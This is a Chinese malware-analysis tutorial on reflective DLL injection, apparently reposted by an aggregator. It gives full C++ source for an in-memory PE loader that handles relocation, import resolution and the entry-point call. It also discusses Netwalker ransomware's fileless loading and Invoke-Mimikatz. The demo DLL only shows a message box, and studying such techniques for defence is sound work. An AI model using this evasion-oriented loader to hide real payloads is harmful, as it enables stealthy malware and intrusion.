36

恶意代码分析之反射型DLL注入

 3 years ago
source link: http://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ%3D%3D&%3Bmid=2247486009&%3Bidx=1&%3Bsn=2ee69c940a8f1ab98bd106deecfc4fcf
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

01

技术概要

这是一种允许攻击者从内存而非磁盘向指定进程注入DLL的技术,该技术比常规的DLL注入更为隐蔽,因为除了不需要磁盘上的实际DLL文件之外,它也不需要任何Windows加载程序的辅助即可注入。这消除了将DLL注册为进程已加载模块的需求,从而可逃脱工具的监视。

首先准备好测试dll,使用VS2015先编译生成一个测试dll文件,作用是dll被进程附加的时候会执行MessageBox弹框,切记不要选择空项目。如下,在DLL_PROCESS_ATTACH添加一个消息框函数,直接编译生成dll。

2aqYBzM.png!web

下面会根据源码逐步分析整体执行流程,示例代码是模拟内存自加载dll的过程,为了演示所以采用了比较简单的方式,dll文件生成后放在在本地,而真实案例中恶意代码会存在母体文件的内存中,因为需要不落地内存加载。

先声明相应的结构体变量,采用指定位数的方式指定结构体变量实际占用的位数(根据重定位表的特性),声明一个函数指针便于后续进行调用执行dll入口。

QNFBVnF.png!web

第一步先通过GetModuleHandleA获取基址,避免ASLR随机基址影响,读取dll文件内容加载至内存中,通过PE结构获取实际加载至内存中dll的PE头部数据。

VfIv6jb.png!web

分配dll加载时所需的内存空间,获取加载基址与预期基址的差值,接着复制dll头部数据至新的内存空间。

BbaMVrU.png!web

开始模拟Windows加载器功能加载PE文件至内存,如下。

2U3673M.png!web

02

PE文件重定位

基址重定位表位于PE头的IMAGE_NT_HEADERS/IMAGE_OPTION_HEADER/IMAGE_DATA_DIRECTORY[5],换句话说重定位表位于可选头的数据目录表下的第六项,基址重定位表中记录硬编码地址的位置(偏移),使用这张表就能获得准确的硬编码地址偏移并后续对其修正。重定位表是按照一个物理页(4kb或1000H)进行存储的,也就是一个重定位块负责一个4kb内存页,一个重定位表只管自己当前的物理页重定位。一个重定位表的记录偏移的大小是2个字节(1000H最多需要12bit即可0~FFFH),也就是16位,而记录偏移的大小是由SizeofBlock决定的。

如何修正?

将指令中的操作数按照指针字节数读取出来,然后将其减去默认加载基址(扩展头中的字段ImageBase),再加上新的加载基址,最后把新地址存入原来的地址中。

mm6ZFzE.png!web

重定位工作完成之后,进行导入表的解析。

IfAbaau.png!web

以上工作准备完毕之后,就已经模拟内存加载完成,之后获取dll文件入口点进行执行,利用了之前声明的函数指针。

EV7NBf3.png!web

03

示例源码

#include <iostream>

#include <Windows.h>

typedef struct BASE_RELOCATION_BLOCK {

DWORD PageAddress;

DWORD BlockSize;

} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {

USHORT Offset : 12;

USHORT Type : 4;

} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()

{

//得到当前模块的基址

PVOID imageBase = GetModuleHandleA(NULL);

//本地加载dll内容至内存中

HANDLE dll =  CreateFileA("C:\\Users\\onion\\Desktop\\dll\\Release\\dll.dll", GENERIC_READ,  NULL, NULL, OPEN_EXISTING, NULL, NULL);

DWORD64 dllSize = GetFileSize(dll, NULL);

LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);

DWORD outSize = 0;

ReadFile(dll, dllBytes, dllSize, &outSize, NULL);

//获取已加载至内存中的dll的头部数据

PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;

PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes +  dosHeaders->e_lfanew);

SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

//分配dll加载时所需的内存空间

LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase,  dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//得到实际分配的内存基址与预期的基址差值,便于后续进行重定向

DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase -  (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

//将dll头部数据复制到分配的内存空间

std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

//加载节区数据至新的内存空间

PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);

for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)

{

LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase +  (DWORD_PTR)section->VirtualAddress);

LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes +  (DWORD_PTR)section->PointerToRawData);

std::memcpy(sectionDestination, sectionBytes,  section->SizeOfRawData);

section++;

}

// 开始dll加载实现重定位

IMAGE_DATA_DIRECTORY relocations =  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

DWORD_PTR relocationTable = relocations.VirtualAddress +  (DWORD_PTR)dllBase;

DWORD relocationsProcessed = 0;

while (relocationsProcessed < relocations.Size)

{

PBASE_RELOCATION_BLOCK relocationBlock =  (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);

relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);

DWORD relocationsCount = (relocationBlock->BlockSize -  sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);

PBASE_RELOCATION_ENTRY relocationEntries =  (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

for (DWORD i = 0; i < relocationsCount; i++)

{

relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

if (relocationEntries[i].Type == 0)

{

continue;

}

DWORD_PTR relocationRVA = relocationBlock->PageAddress +  relocationEntries[i].Offset;

DWORD_PTR addressToPatch = 0;

ReadProcessMemory(GetCurrentProcess(),  (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR),  NULL);

addressToPatch += deltaImageBase;

std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA),  &addressToPatch, sizeof(DWORD_PTR));

}

}

//解析导入表

PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;

IMAGE_DATA_DIRECTORY importsDirectory =  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

importDescriptor =  (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);

LPCSTR libraryName = "";

HMODULE library = NULL;

while (importDescriptor->Name != NULL)

{

libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;

library = LoadLibraryA(libraryName);

if (library)

{

PIMAGE_THUNK_DATA thunk = NULL;

thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase +  importDescriptor->FirstThunk);

while (thunk->u1.AddressOfData != NULL)

{

if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))

{

LPCSTR functionOrdinal =  (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);

thunk->u1.Function =  (DWORD_PTR)GetProcAddress(library, functionOrdinal);

}

else

{

PIMAGE_IMPORT_BY_NAME functionName =  (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);

DWORD_PTR functionAddress =  (DWORD_PTR)GetProcAddress(library, functionName->Name);

thunk->u1.Function = functionAddress;

}

++thunk;

}

}

importDescriptor++;

}

//执行加载的dll

DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase +  ntHeaders->OptionalHeader.AddressOfEntryPoint);

(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);

CloseHandle(dll);

HeapFree(GetProcessHeap(), 0, dllBytes);

return 0;

}

04

整个流程

1、读入原始DLL文件至内存缓冲区;

2、解析DLL标头并获取SizeOfImage;

3、为DLL分配新的内存空间,大小为SizeOfImage;

4、将DLL标头和PE节复制到步骤3中分配的内存空间;

5、执行重定位;

6、加载DLL导入的库;

7、解析导入地址表(IAT);

8、调用DLL的DLL_PROCESS_ATTACH;

05

演示效果

ai2632i.gif

06

真实案例

Netwalker勒索软件dll自加载技术

恶意文件是一个混淆并加密过的PowerShell脚本,先对PowerShell脚本进行解混淆。解混淆后的内容如下,字节序列中的0x4d、0x5a明显是一个PE文件标志头,一旦加载执行后,这部分内容就在内存中了。

rUVruuu.png!web

明显的C#代码模拟解析PE结构,如下。

auMvEbr.png!web

执行自加载执行,如下。

ri2yI3b.png!web

ZnQJBrU.png!web

更详细的内容可去除 混淆后自行查看,该勒索样本实现的反射加载过程非常明显。 加载执行后,通过模拟加载dll并调用导出函数Do后进而实现注入目标进程,类似的技术则与开源项目PowerSploit中的反射自加载的Mimikatz脚本实现相类似。

07

参考

https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection

https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK